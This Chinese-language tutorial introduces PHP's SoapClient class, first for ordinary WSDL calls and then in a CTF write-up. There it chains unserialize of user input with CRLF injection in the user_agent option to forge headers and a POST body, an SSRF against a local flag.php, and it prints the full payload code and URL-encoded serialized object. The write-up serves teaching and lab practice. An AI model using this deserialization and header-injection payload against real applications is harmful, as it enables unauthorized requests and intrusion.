Soap模塊的安裝:
PHP使用SOAP協議調用接口,需要安裝soap模塊插件,在使用之前使用phpinfo()方法輸出判斷安裝的PHP是否已安裝了該插件。

SoapClient原生類介紹:
SoapClient采用HTTP作為底層通訊協議,XML作為數據傳送的格式。
SoapClient原生類官方介紹如下:
class SoapClient {
/* Methods */
public __construct(?string $wsdl, array $options = [])
public __call(string $name, array $args): mixed
public __doRequest(
string $request,
string $location,
string $action,
int $version,
bool $oneWay = false
): ?string
public __getCookies(): array
public __getFunctions(): ?array
public __getLastRequest(): ?string
public __getLastRequestHeaders(): ?string
public __getLastResponse(): ?string
public __getLastResponseHeaders(): ?string
public __getTypes(): ?array
public __setCookie(string $name, ?string $value = null): void
public __setLocation(?string $location = null): ?string
public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
public __soapCall(
string $name,
array $args,
?array $options = null,
SoapHeader|array|null $inputHeaders = null,
array &$outputHeaders = null
): mixed
}
可以看到,根據以上代碼,在新建一個SoapClient的類對象的時候,需要有兩個參數,一個是字符串形式的wsdl,另一個是數組形式的options。而wsdl在開發中十分常見,在安全中用的比較少,因此接下來的的部分篇幅,將分為SoapClient在開發中的應用以及SoapClient在安全中的應用這兩塊。
SoapClient在開發中的應用
wsdl這參數之所以在開發中如此常用,是因為它能非常快速的調用現成接口。
用一個實例代碼介紹一下wsdl參數:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
$params = array(
"qqCode" => "1043045300"
);
$result = $client->qqCheckOnline($params);
print_r($result);
?>
執行結果如下:
stdClass Object
(
[qqCheckOnlineResult] => Y
)
其中url中的值是QQ開放的WSDL接口,在這個接口中qqCheckOnline方法可以用來查詢QQ是否在線
當然,也可以執行以下代碼,查詢QQ開放的WSDL接口還支持哪些類型以及方法:
<?php
$url = "http://www.webxml.com.cn/webservices/qqOnlineWebService.asmx?wsdl";
$client = new SoapClient($url);
print_r($client->__getTypes());
print_r($client->__getFunctions());
?>
執行結果如下:
Array
(
[0] => struct qqCheckOnline {
string qqCode;
}
[1] => struct qqCheckOnlineResponse {
string qqCheckOnlineResult;
}
)
Array
(
[0] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
[1] => qqCheckOnlineResponse qqCheckOnline(qqCheckOnline $parameters)
)
根據上方的兩個例子,我們對SoapClient原生類應該有了部分了解。
但是由於SOAP協議本質上其實還是HTTP協議,只是改變了傳輸過程中的內容為XML形式,而在實際開發過程中,更有些接口對於請求的HTTP頭也做一些校驗限制,因此需要設置HTTP的請求頭以適應需求。
有關設置HTTP請求頭的下面的篇幅會講到。
SoapClient在安全中的應用
由於SoapClient原生類中包含__call方法,並且我們知道:當調用一個對象中不存在的方法時候,會執行call()魔術方法。
因此在CTF中通常會出現一種存在調用不存在的方法、並且需要我們偽造請求頭的題目。
這種時候,SoapClient正好可以給我們解決問題。
下面拿一個例題來詳細講解SoapClient在CTF中是如何運用的。
首先題目是給了flag.php的源碼,源碼如下:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
打開題目后,內容如下:

<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
我們先審計flag.php,前半部分是對XFF頭進行了處理:
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
-
explode() 函數可以把字符串打散為數組。
-
array_pop() 彈出並返回
array數組的最后一個單元,並將數組array的長度減一。
這三行代碼實際上就是,將服務器得到的XFF的最后一個刪除,留下的是倒數第二個。
假如我們有以下代碼:
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
print_r($ip);
當我們XFF傳入以下內容:
127.0.0.1 #返回:空
127.0.0.1,127.0.0.2 #返回:127.0.0.1
127.0.0.1,127.0.0.2,127.0.0.3 #返回:127.0.0.2
接下來我們審計index.php的代碼
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
可以看到對傳入的vip參數進行反序列化,並且調用getFlag方法,顯然此處沒有類定義了getFlag這個方法,因此我們考慮利用SoapClient原生類調用未知方法后執行call魔術方法,然后構造請求讀取flag.php
接下來,我們手動在本地做測試:
我們有如下代碼,其中uri中的9998端口是為了和location中的9999端口做區分:
<?php
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test'));
$client->getFlag();
然后我們nc監聽9999端口
nc -lvvp 9999
刷新頁面之后,可以得到以下請求內容:

仔細觀察后,發現是一個POST請求,並且SOAPAction的值是可控的
但是僅僅依靠這一處,沒有辦法偽造整一個POST請求,因為Content-Type是xml形式的,並且后面的傳輸內容也都是xml形式的,一般情況下POST傳遞參數的格式都是表單形式的(application/x-www-form-urlencoded)
因此我們可以想辦法偽造User-Agent頭:
修改后的代碼如下:
<?php
$ua = "Lxxx";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();
nc監聽后,得到的結果如下:

可以看到,User-Agent也被注入進去了,此時,User-Agent就成為了我們的可控參數
當User-Agent成為了我們的可控參數后,User-Agent下方的Content-Type也同樣可以被偽造,利用\r\n換行即可偽造
再次修改后的代碼如下:
<?php
$ua = "Lxxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1:9998/' , 'location' => 'http://127.0.0.1:9999/test' , 'user_agent' => $ua));
$client->getFlag();
代碼中有幾個注意的點
-
因為$ua中用到了
\r\n這兩個換行符,因此要用雙引號包裹 -
HTTP請求頭之間的參數用一組
\r\n分割即可 -
HTTP請求頭與POSTDATA之間要用兩個
\r\n分割. -
設置User-Agent時,應寫成user_agent
同樣的,nc監聽后,結果如下:

其中紫色方框中的是有效的HTTP請求,因為我們設置了Content-Length的值為13,超出13個字符以外的都會被服務器丟棄,所以影響不大。
在本地測試完成了,接下來我們將相關參數修改與題目相對應。
修改后的payload如下:
<?php
$ua = "Lxxx\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));
print_r(urlencode(serialize($client)));
得到結果:
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
然后傳入payload:
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Lxxx%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
這樣flag就被寫到了flag.txt中,訪問之后即可拿到flag:

但是這題本身是可以直接訪問flag.php頁面,偽造請求頭得到flag的。
不過當有了cloudfare代理,無法直接在本地偽造請求頭時,就需要利用SoapClient類來構造請求。
實驗名稱:Headers注入
